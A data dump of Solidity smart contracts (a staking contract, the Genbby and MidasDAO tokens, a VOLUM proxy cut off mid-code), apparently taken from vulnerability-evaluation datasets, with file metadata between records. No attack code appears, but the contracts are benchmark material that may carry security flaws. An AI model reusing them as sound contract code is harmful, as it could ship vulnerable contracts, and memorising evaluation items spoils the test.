contract SnowsafeStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable sOHM;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _OHM,
address _sOHM,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_OHM != address(0));
OHM = _OHM;
require(_sOHM != address(0));
sOHM = _sOHM;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(OHM).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsOHM(sOHM).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sOHM).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsOHM(sOHM).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsOHM(sOHM).balanceForGons(info.gons));
IERC20(OHM).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sOHM).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(OHM).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsOHM(sOHM).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsOHM(sOHM).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsOHM(sOHM).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(OHM).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sOHM).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sOHM).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 75,524 | 11,322 |
4967f3082ed0cdc262918a312121c3452dc7c681c355712a7417b2b9a5ef281c
| 18,392 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4d4377ef856e89cbf76f8e994ab3065445d82f4f.sol
| 2,767 | 10,810 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CappedMintableToken is PausableToken {
uint256 public hard_cap;
// List of agents that are allowed to create new tokens
mapping (address => bool) mintAgents;
event MintingAgentChanged(address addr, bool state);
event Mint(address indexed to, uint256 amount);
modifier onlyMintAgent() {
require(mintAgents[msg.sender]);
_;
}
function setMintAgent(address addr, bool state) onlyOwner whenNotPaused public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function mint(address _to, uint256 _amount) onlyMintAgent whenNotPaused public returns (bool) {
require (totalSupply.add(_amount) <= hard_cap);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function isMintAgent(address _user) public view returns (bool state) {
return mintAgents[_user];
}
}
contract PlatformToken is CappedMintableToken {
mapping (address => bool) trustedContract;
event TrustedContract(address addr, bool state);
modifier onlyTrustedContract() {
require(trustedContract[msg.sender]);
_;
}
function setTrustedContract(address addr, bool state) onlyOwner whenNotPaused public {
trustedContract[addr] = state;
TrustedContract(addr, state);
}
function buy(address who, uint256 amount) onlyTrustedContract whenNotPaused public {
require (balances[who] >= amount);
balances[who] = balances[who].sub(amount);
totalSupply = totalSupply.sub(amount);
}
function isATrustedContract(address _contract) public view returns (bool state) {
return trustedContract[_contract];
}
}
contract UpgradeAgent {
function upgradeBalance(address who, uint256 amount) public;
function upgradeAllowance(address _owner, address _spender, uint256 amount) public;
function upgradePendingExchange(address _owner, uint256 amount) public;
}
contract UpgradableToken is PlatformToken {
// The next contract where the tokens will be migrated
UpgradeAgent public upgradeAgent;
uint256 public totalSupplyUpgraded;
bool public upgrading = false;
event UpgradeBalance(address who, uint256 amount);
event UpgradeAllowance(address owner, address spender, uint256 amount);
event UpgradePendingExchange(address owner, uint256 value);
event UpgradeStateChange(bool state);
modifier whenUpgrading() {
require(upgrading);
_;
}
function setUpgradeAgent(address addr) onlyOwner public {
upgradeAgent = UpgradeAgent(addr);
}
function startUpgrading() onlyOwner whenPaused public {
upgrading = true;
UpgradeStateChange(true);
}
function stopUpgrading() onlyOwner whenPaused whenUpgrading public {
upgrading = false;
UpgradeStateChange(false);
}
function upgradeBalanceOf(address who) whenUpgrading public {
uint256 value = balances[who];
require (value != 0);
balances[who] = 0;
totalSupply = totalSupply.sub(value);
totalSupplyUpgraded = totalSupplyUpgraded.add(value);
upgradeAgent.upgradeBalance(who, value);
UpgradeBalance(who, value);
}
function upgradeAllowance(address _owner, address _spender) whenUpgrading public {
uint256 value = allowed[_owner][_spender];
require (value != 0);
allowed[_owner][_spender] = 0;
upgradeAgent.upgradeAllowance(_owner, _spender, value);
UpgradeAllowance(_owner, _spender, value);
}
}
contract GenbbyToken is UpgradableToken {
string public contactInformation;
string public name = "Genbby Token";
string public symbol = "GG";
uint256 public constant decimals = 18;
uint256 public constant factor = 10 ** decimals;
event UpgradeTokenInformation(string newName, string newSymbol);
function GenbbyToken() public {
hard_cap = (10 ** 9) * factor;
contactInformation = 'https://genbby.com/';
}
function setTokenInformation(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
UpgradeTokenInformation(name, symbol);
}
function setContactInformation(string info) onlyOwner public {
contactInformation = info;
}
function () public payable {
revert();
}
}
contract Airdrop is Pausable {
using SafeMath for uint256;
GenbbyToken public token;
uint256 public tokens_sold;
uint256 public constant decimals = 18;
uint256 public constant factor = 10 ** decimals;
uint256 public constant total_tokens = 500000 * factor; // 1% 5 % hard cap
event Drop(address to, uint256 amount);
function setToken(address tokenAddress) onlyOwner public {
token = GenbbyToken(tokenAddress);
}
function drop(address _to, uint256 _amount) onlyOwner whenNotPaused public returns (bool) {
require (tokens_sold.add(_amount) <= total_tokens);
token.mint(_to, _amount);
tokens_sold = tokens_sold.add(_amount);
Drop(_to, _amount);
return true;
}
function () public payable {
revert();
}
}
| 201,446 | 11,323 |
a41d73352b5130a0e27d3780494db4bc383f05393972490cee5879571eae07b4
| 29,600 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b6/b62f7a767d2857c54abf4e2c8682b665b2341aef_MidasDAO.sol
| 5,254 | 18,800 |
//WAGMI
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MidasDAO is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10**4 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'MidasDAO';
string private _symbol = 'MIDAS';
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _burnFee = 10;
uint256 private _maxTxAmount = 10**4 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 10, 'burnFee should be in 0 - 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 90,247 | 11,324 |
444d6e893e825f0c90252f2eee81bb013003e03ca3e06e3ef38d904f48db7211
| 22,426 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xf1c460ae47e06be0756f9a1831467ff2f5fa4ecc.sol
| 3,224 | 12,953 |
pragma solidity 0.4.23;
contract EToken2Interface {
function baseUnit(bytes32 _symbol) constant returns(uint8);
function name(bytes32 _symbol) constant returns(string);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) public returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) public returns(bool);
function _performApprove(address _spender, uint _value, address _sender) public returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) public returns(bool);
function _performGeneric(bytes, address) public payable {
revert();
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() public view returns(uint256 supply);
function balanceOf(address _owner) public view returns(uint256 balance);
function transfer(address _to, uint256 _value) public returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success);
function approve(address _spender, uint256 _value) public returns(bool success);
function allowance(address _owner, address _spender) public view returns(uint256 remaining);
// function symbol() constant returns(string);
function decimals() public view returns(uint8);
// function name() constant returns(string);
}
contract AssetProxyInterface is ERC20Interface {
function _forwardApprove(address _spender, uint _value, address _sender) public returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) public returns(bool);
function recoverTokens(ERC20Interface _asset, address _receiver, uint _value) public returns(bool);
function etoken2() public pure returns(address) {} // To be replaced by the implicit getter;
function etoken2Symbol() public pure returns(bytes32) {} // To be replaced by the implicit getter;
}
contract Bytes32 {
function _bytes32(string _input) internal pure returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract ReturnData {
function _returnReturnData(bool _success) internal pure {
assembly {
let returndatastart := 0
returndatacopy(returndatastart, 0, returndatasize)
switch _success case 0 { revert(returndatastart, returndatasize) } default { return(returndatastart, returndatasize) }
}
}
function _assemblyCall(address _destination, uint _value, bytes _data) internal returns(bool success) {
assembly {
success := call(gas, _destination, _value, add(_data, 32), mload(_data), 0, 0)
}
}
}
contract VOLUM is ERC20Interface, AssetProxyInterface, Bytes32, ReturnData {
// Assigned EToken2, immutable.
EToken2Interface public etoken2;
// Assigned symbol, immutable.
bytes32 public etoken2Symbol;
// Assigned name, immutable. For UI.
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) public returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
